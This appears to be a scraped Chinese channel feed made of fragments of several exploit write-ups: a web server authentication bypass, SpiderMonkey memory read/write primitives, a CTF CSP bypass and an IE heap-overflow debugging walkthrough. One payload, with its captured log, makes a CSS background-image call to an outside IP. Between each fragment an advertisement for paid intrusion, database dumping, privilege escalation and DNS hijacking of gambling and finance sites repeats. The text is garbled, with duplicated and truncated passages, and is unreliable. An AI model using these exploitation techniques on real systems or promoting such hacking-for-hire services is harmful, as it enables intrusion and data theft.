让我们来跟进
其中,
1.
2.
3.
4.
紧接着,在
紧接着向下,
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
./web/LINUX/main.c了解该漏洞的成因:initWebs()函数中,关键代码如图:其中,
150-160中um开头的函数为用户权限控制的相关函数。主要做了以下四件事情:1.
umOpen() 打开用户权限控制2.
umAddGroup() 增加用户组adm,并设置该用户组用户使用HTTP摘要认证方式登录3.
umAddUser() 增加用户admin,admin0,admin1,并且这三个用户均属于adm用户组4.
umAddAccessLimit() 增加限制路径/,凡是以/开头的路径都要通过HTTP摘要认证的方式登录属于adm组的用户。紧接着,在
220多行通过websUrlHandlerDefine()函数运行了两个Handler,websSecurityHandler和websDefaultHandler。在websSecurityHandler中,对HTTP摘要认证方式进行处理。关键代码如图:umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/或者\\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini,根据上文,我们的设置是对/路径需要进行HTTP摘要认证,由于程序判断system.ini不属于/路径,所以这里am为默认的AM_INVALID,即无需验证。紧接着向下,
nRet初始化赋值为0.在118-242行中,如果出现了账号密码错误等情况,则会将nRet赋值为1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet仍为0。因此,顺利通过验证,获取到对应的文件内容。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1
我们已经收集齐了所有必要的组件,可以开始编写漏洞利用程序了。创建了一个伪造的空单元格并在其中分配了一个 ArrayBuffer 对象后,我们会发现之前分配的 ArrayBuffer 对象之一现在包含了数据。SpiderMonkey 中的 ArrayBuffer 对象大致如图所示:
这些
现在我们可以构建以下漏洞利用原语:
从绝对内存地址读取数据:我们将地址设置
写入绝对内存地址:与上述相同,但这次我们写入内部的 ArrayBuffer。
泄露 JavaScript 对象地址:为此,我们将想要获取地址的对象设置为内部 ArrayBuffer 的属性,然后
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
这些
XXX_SLOT常量决定了对应值相对于对象起始位置的偏移量。因此,数据指针(DATA_SLOT)将存储在addrof(ArrayBuffer) + sizeof(ArrayBuffer)。现在我们可以构建以下漏洞利用原语:
从绝对内存地址读取数据:我们将地址设置
DATA_SLOT为所需地址,然后从内部的 ArrayBuffer 读取数据。写入绝对内存地址:与上述相同,但这次我们写入内部的 ArrayBuffer。
泄露 JavaScript 对象地址:为此,我们将想要获取地址的对象设置为内部 ArrayBuffer 的属性,然后
slots_通过我们现有的读取原语从指针读取地址。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
由于contact和minmax的功能相似,猜测后台的输出方式相似,所以仔细观察min.php,最奇怪的其实是输出点,输出点后没有引号包裹,也就意味着即便使用了htmlspecialchars过滤了”和<,但是我们仍然可以dom xss
但是一切的问题都在CSP,内联的脚本是不会被执行的,但这里有好多*啊
style可以设置啊,然后style里有个font-src可以随便设置
关于字体的绕过方式,我仍然不知道是不是有效的,但我稍微尝试了下发现语法不同,也许是不熟悉吧,但我肯定是智障了,css可以设置背景图片啊,img-src是*啊,所以payload
收到了请求
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
<a id="modal" class="detail" href="#detail" data-toggle="modal"
contributor=aaangelwhu hexdata=672e65613167722e333170366572657265726572657265>fffffffffffe53cdbc640fffb934cfb8</a>
但是一切的问题都在CSP,内联的脚本是不会被执行的,但这里有好多*啊
img-src *
style-src unsafe-inline
connect-src *
font-src *
media-src *
object-src *
style可以设置啊,然后style里有个
关于字体的绕过方式,我仍然不知道是不是有效的,但我稍微尝试了下发现语法不同,也许是不熟悉吧,但我肯定是智障了,css可以设置背景图片啊,img-src是*啊,所以payload
aaang style=background-image:url('http://119.29.192.14')收到了请求
115.159.200.107 - - [19/Feb/2017:03:21:31 +0800] "GET / HTTP/1.1" 304 0 "http://52.80.1.108:6666/d9aba78484e6d3325f88f0e8826191e9/admin.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在逆向分析中,进程往往作为基本的调试单元,因此对其的理解是有必要的。这里我们先打开IE浏览器,可以知道对每个选项卡IE都会创建一个子进程来处理,接着我们打开WinDbg并附加到当前的IE页面进程,“|”和“~”命令可用于查看进程和线程的状态,注意前面有个小点的是此时所处的进程和线程,可以看到一个进程中包含有多个线程:
当然,如果需要WinDbg也是可以同时调试多个进程的,更详细的内容我们可以通过“!peb”和“!teb”命令来查看,其中PEB(Process Environment Block)存放着进程信息,而TEB(Thread Environment Block)则存放着线程信息。同时,通过“!address”命令可列出进程的地址空间信息,如下是用户模式下从地址0x00000000开始到0x80000000的信息,只给出部分:
可以看到用户进程空间中一般包含主模块、共享模块、堆栈资源等,相应的虚拟内存页也都有着各自的属性状态。
那么对于这样的进程是如何从无到有创建起来的呢?这就不得不提PE格式了,比如上面的exe、dll模块都是属于这种类型的文件,简单来看PE文件包含了DOS头、PE头、节表以及节数据,二进制数据将按装入内存后的页属性归类到不同的节中,而各个节中的数据按用途又可以被分为导出表、导入表、重定位表等数据块,通过“!dh [标志] 模块地址”命令可以显示非常详细的PE头信息。当我们运行iexplore.exe的时候,操作系统将分配所需资源并按照此PE文件中的信息完成加载,即进程的创建。一般来说,PE文件的加载过程是由操作系统提供的PE Loader功能实现的,但我们也可以自己手动实现此过程,比如ReflectiveLoader这个技术,它就能在当前进程中完成一个独立dll的加载,一些勒索病毒就是用的这个技巧来躲避杀软。我们可以由此技术大体了解下PE Loader的功能,首先是查找kernel32等模块中的特定函数,即获取模块基址和处理PE格式,而后申请空间写入节数据、处理输入表和重定位表等,最后跳转到执行入口,即模拟原先操作系统的加载。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
当然,如果需要WinDbg也是可以同时调试多个进程的,更详细的内容我们可以通过“!peb”和“!teb”命令来查看,其中PEB(Process Environment Block)存放着进程信息,而TEB(Thread Environment Block)则存放着线程信息。同时,通过“!address”命令可列出进程的地址空间信息,如下是用户模式下从地址0x00000000开始到0x80000000的信息,只给出部分:
可以看到用户进程空间中一般包含主模块、共享模块、堆栈资源等,相应的虚拟内存页也都有着各自的属性状态。
那么对于这样的进程是如何从无到有创建起来的呢?这就不得不提PE格式了,比如上面的exe、dll模块都是属于这种类型的文件,简单来看PE文件包含了DOS头、PE头、节表以及节数据,二进制数据将按装入内存后的页属性归类到不同的节中,而各个节中的数据按用途又可以被分为导出表、导入表、重定位表等数据块,通过“!dh [标志] 模块地址”命令可以显示非常详细的PE头信息。当我们运行iexplore.exe的时候,操作系统将分配所需资源并按照此PE文件中的信息完成加载,即进程的创建。一般来说,PE文件的加载过程是由操作系统提供的PE Loader功能实现的,但我们也可以自己手动实现此过程,比如ReflectiveLoader这个技术,它就能在当前进程中完成一个独立dll的加载,一些勒索病毒就是用的这个技巧来躲避杀软。我们可以由此技术大体了解下PE Loader的功能,首先是查找kernel32等模块中的特定函数,即获取模块基址和处理PE格式,而后申请空间写入节数据、处理输入表和重定位表等,最后跳转到执行入口,即模拟原先操作系统的加载。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1
代码的功能还是很清晰的,最开始创建时span的属性值为6,而后通过js中的over_trigger()函数将其动态更新为666,当然,更新后的值可以是任意的,只要能保证溢出就可以了。另外,width的属性值和写入堆空间的内容有关,这个后面会再提。
将PoC保存为html文件并双击打开,会弹出阻止提示,此时用WinDbg附加IE进程,附加列表中会有两个IE进程,选择后一个,即当前选项卡对应的子进程。这里假设你的符号文件都已经配置好了,我们通过“.reload /f”命令强制加载,“lm”命令可以查看加载的结果。首先我们设置好如下几个断点:
对于那些记不住的函数,我们可以通过“x”命令来查看一下,错误位置在CTableLayout::CalculateMinMax函数中,所以这个地方肯定要下个断点,又因为是堆溢出,所以_HeapRealloc函数也来个断点,最后的CTableCol::GetAAspan函数是用来获取span属性值的,1和2两个断点目前暂时禁用。“g”命令跑起来,在IE中允许阻止的内容,弹出警告直接确定,回到WinDbg可以看到程序第一次在CTableLayout::CalculateMinMax函数入口断下来了,这是处理最开始创建时span值为6的情况,查看调用栈:
我们看下CTableLayout::CalculateMinMax函数的声明:
上述是IDA给出的结果,我们主要关注CTableLayout*这个变量,它是一个指针,由上面的“kb”命令可知其值为0019fd70:
程序申请了堆空间用于保存column的样式信息,每个样式信息占0x1C字节,有多少个样式信息由span属性值来确定,因此这里申请的堆空间大小为0x1C*6=0xA8,即_HeapRealloc函数入口断下后ecx寄存器的值,函数调用时的入参如果用到寄存器的话一般都是ecx,返回参数一般保存在eax中,同时注意随后分配的初始地址会保存到esi寄存器对应的地址处,即前面的黄色标识处,可以看到此时的值由NULL变为0x0019eb90了。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
将PoC保存为html文件并双击打开,会弹出阻止提示,此时用WinDbg附加IE进程,附加列表中会有两个IE进程,选择后一个,即当前选项卡对应的子进程。这里假设你的符号文件都已经配置好了,我们通过“.reload /f”命令强制加载,“lm”命令可以查看加载的结果。首先我们设置好如下几个断点:
对于那些记不住的函数,我们可以通过“x”命令来查看一下,错误位置在CTableLayout::CalculateMinMax函数中,所以这个地方肯定要下个断点,又因为是堆溢出,所以_HeapRealloc函数也来个断点,最后的CTableCol::GetAAspan函数是用来获取span属性值的,1和2两个断点目前暂时禁用。“g”命令跑起来,在IE中允许阻止的内容,弹出警告直接确定,回到WinDbg可以看到程序第一次在CTableLayout::CalculateMinMax函数入口断下来了,这是处理最开始创建时span值为6的情况,查看调用栈:
我们看下CTableLayout::CalculateMinMax函数的声明:
void __thiscall CTableLayout::CalculateMinMax(CTableLayout *theTableLayoutObj, LPVOID lpUnknownStackBuffer);
上述是IDA给出的结果,我们主要关注CTableLayout*这个变量,它是一个指针,由上面的“kb”命令可知其值为0019fd70:
程序申请了堆空间用于保存column的样式信息,每个样式信息占0x1C字节,有多少个样式信息由span属性值来确定,因此这里申请的堆空间大小为0x1C*6=0xA8,即_HeapRealloc函数入口断下后ecx寄存器的值,函数调用时的入参如果用到寄存器的话一般都是ecx,返回参数一般保存在eax中,同时注意随后分配的初始地址会保存到esi寄存器对应的地址处,即前面的黄色标识处,可以看到此时的值由NULL变为0x0019eb90了。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
🔥1
从PoC中可以看到此时对应的width属性值为41,0x0019eb90处写入的内容就为width值41*100=0x00001004,事实上程序断下来的时候0x1C个字节的样式信息都已写入完成。我们再单步往下跟一下:
可以看到出现了inc+cmp组合,可以猜想这应该就是控制堆空间写入样式信息的循环了,这几条汇编指令的意思就是ebp-14h对应的值每次加1,即每次循环后递增,ebp-24h对应的值每次加0x1C,即每次加一个样式信息的字节数,最后当前的循环次数和ebp+10h对应的值比较,即span属性值。为了验证这个猜想我们多跟几次这个过程,可以发现事实确是如此。
好的,我们来看下通过js脚本动态更新span属性值后,也就是span值变为666时程序第二次在CTableLayout::CalculateMinMax函数入口断下后是个什么情形,理论上是要重新分配堆空间的,毕竟要多写入660个样式信息,而后再获取此时的span值作为循环控制次数,最后才向堆空间写入样式信息。我们来到程序此时断下来的地方,顺便看下之前确实是写入了6个样式信息:
但我们却发现程序跳过了分配堆空间的过程,错误的认为之前分配的空间已经足够而转去直接获取控制循环次数的span属性值eax,即0x29a=666。
接下来和前面一样是写入样式信息的过程,不过这次是对只能容纳6个样式信息的堆空间写入了666个样式信息,从而引发了堆溢出错误:
可以看到ebp+10h对应此时的span属性值0x29a,所以程序最终将会执行666次循环。堆溢出发生后程序继续运行会造成内存访问违规
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
可以看到出现了inc+cmp组合,可以猜想这应该就是控制堆空间写入样式信息的循环了,这几条汇编指令的意思就是ebp-14h对应的值每次加1,即每次循环后递增,ebp-24h对应的值每次加0x1C,即每次加一个样式信息的字节数,最后当前的循环次数和ebp+10h对应的值比较,即span属性值。为了验证这个猜想我们多跟几次这个过程,可以发现事实确是如此。
好的,我们来看下通过js脚本动态更新span属性值后,也就是span值变为666时程序第二次在CTableLayout::CalculateMinMax函数入口断下后是个什么情形,理论上是要重新分配堆空间的,毕竟要多写入660个样式信息,而后再获取此时的span值作为循环控制次数,最后才向堆空间写入样式信息。我们来到程序此时断下来的地方,顺便看下之前确实是写入了6个样式信息:
但我们却发现程序跳过了分配堆空间的过程,错误的认为之前分配的空间已经足够而转去直接获取控制循环次数的span属性值eax,即0x29a=666。
接下来和前面一样是写入样式信息的过程,不过这次是对只能容纳6个样式信息的堆空间写入了666个样式信息,从而引发了堆溢出错误:
可以看到ebp+10h对应此时的span属性值0x29a,所以程序最终将会执行666次循环。堆溢出发生后程序继续运行会造成内存访问违规
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1